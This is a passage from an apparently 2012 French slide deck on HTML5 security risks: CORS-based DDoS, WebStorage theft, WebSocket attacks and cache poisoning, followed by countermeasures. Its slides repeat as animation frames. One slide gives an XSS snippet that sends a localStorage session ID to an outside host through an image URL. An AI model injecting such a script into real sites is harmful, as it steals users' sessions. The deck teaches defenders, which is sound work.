    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 46.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19 Wednesday, February 8, 12
  • 47.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19 Wednesday, February 8, 12
  • 48.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 49.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr HTTP/1.1 200 Ok <iframe src=... www.cible.com 19 Wednesday, February 8, 12
  • 50.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 51.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 52.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 53.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 54.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr XML HttpRe ques t www.cible.com 19 Wednesday, February 8, 12
  • 55.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 56.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 57.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr XML Http www.cible.com Reques t 19 Wednesday, February 8, 12
  • 58.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 59.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 60.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com XML Http Reques t 19 Wednesday, February 8, 12
  • 61.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 62.
    Cross Origin ResourceSharing 4/4 Contre-mesures : •Restriction du domaine •Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant. •Mettre en place des contre-mesures réseaux (pour les DDOS) 20 Wednesday, February 8, 12
  • 63.
    WebStorage Pas de contrôle de la part de l’utilisateur sur ce qui est stocké/accéder L’injection de Javascript peut bypasser la limitation du contrôle d’accès. ➡Vol de Sessions ➡Vol de données sensibles ➡Tracking d’utilisateurs 21 Wednesday, February 8, 12
  • 64.
    WebStorage Vol de Sessions; juste un peu plus compliqué. : <script> document.write("<img src='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>"); </script> le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage ! 22 Wednesday, February 8, 12
  • 65.
    WebStorage Tracking User Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur 23 Wednesday, February 8, 12
  • 66.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 67.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 68.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 69.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24 Wednesday, February 8, 12
  • 70.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24 Wednesday, February 8, 12
  • 71.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24 Wednesday, February 8, 12
  • 72.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24 Wednesday, February 8, 12
  • 73.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24 Wednesday, February 8, 12
  • 74.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24 Wednesday, February 8, 12
  • 75.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24 Wednesday, February 8, 12
  • 76.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24 Wednesday, February 8, 12
  • 77.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24 Wednesday, February 8, 12
  • 78.
    WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake Tunnel TCP Full Duplex 24 Wednesday, February 8, 12
  • 79.
    Websocket Menaces Parmi les attaques possible, certaines sont triviales: •Shell Distant •Botnet Web • via un XSS ou tout simplement en se connectant à un site Web. •Port scanning... 25 Wednesday, February 8, 12
  • 80.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 81.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 82.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 83.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26 Wednesday, February 8, 12
  • 84.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26 Wednesday, February 8, 12
  • 85.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26 Wednesday, February 8, 12
  • 86.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26 Wednesday, February 8, 12
  • 87.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26 Wednesday, February 8, 12
  • 88.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26 Wednesday, February 8, 12
  • 89.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26 Wednesday, February 8, 12
  • 90.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 91.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 92.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26 Wednesday, February 8, 12
  • 93.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26 Wednesday, February 8, 12
  • 94.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26 Wednesday, February 8, 12
  • 95.
    WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com HTTP/1.1 200 Ok Contenu falsifié 26 Wednesday, February 8, 12
  • 96.
    OffLine Web Application <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> •Possibilité d’avoir des attaques de Type APT ? •Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL 27 Wednesday, February 8, 12
  • 97.
    WebMessage •Possibilité de perte de données sensibles (si envoyées à une “mauvaise iframe”) Page du site “interne” postMessage() <iframe src=”outside.control” 28 Wednesday, February 8, 12
  • 98.
    API Geolocation Possibilité de découvrir le lieu ou se trouve l’utilisateur (sous reserve d’avoir un GPS, ou autre système). Perte de données de vie privée... 29 Wednesday, February 8, 12
  • 99.
    Bac a sabledes iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> Par défaut si rien n’est précisé : •Les formulaires, scripts et plug-ins sont désactivés. •Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage). •Par d’AJAX •Les liens ne peuvent cibler d’autres frames •Le contenu est considéré externe (pas d’accès à la DOM) 30 Wednesday, February 8, 12
  • 100.
    Bac a sabledes iframes Lever les restrictions : •allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe •allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur •allow-forms : autorise les formulaires •allow- scripts : les scripts (hors popup) sont autorisés Les navigateurs ne supportent pas tous ces éléments ! 31 Wednesday, February 8, 12
  • 101.
    Autres points importants Les longs traitements en JavaScript “plantaient” les navigateurs. Les WebWorkers permettent de lancer des JavaScript en tache de fond DDOS avec CORS & WebWorkers Calculs distribués (cf Ravan) 32 Wednesday, February 8, 12
  • 102.
    Autres Points importants CSS3 introduit de nouvelles capacités à injecter du code JavaScript Nouvelles capacités au ClickJacking 33 Wednesday, February 8, 12
  • 103.
    Conclusion Plein de nouvelles API interessantes pour le développeur L’ouverture se fait au détriment de la sécurité.... Une surface d’attaque accrue La belle part au JavaScript (qui peut s’executer sans consentement utilisateur) 34 Wednesday, February 8, 12
  • 104.
    ww.html5test.com 35 Wednesday, February 8, 12
  • 105.
    Quelques Sites asuivre.. http://www.w3.org/TR/html5/ : le standard https://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet http://www.caniuse.com : liste des différents supports d’API par navigateur http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme. 36 Wednesday, February 8, 12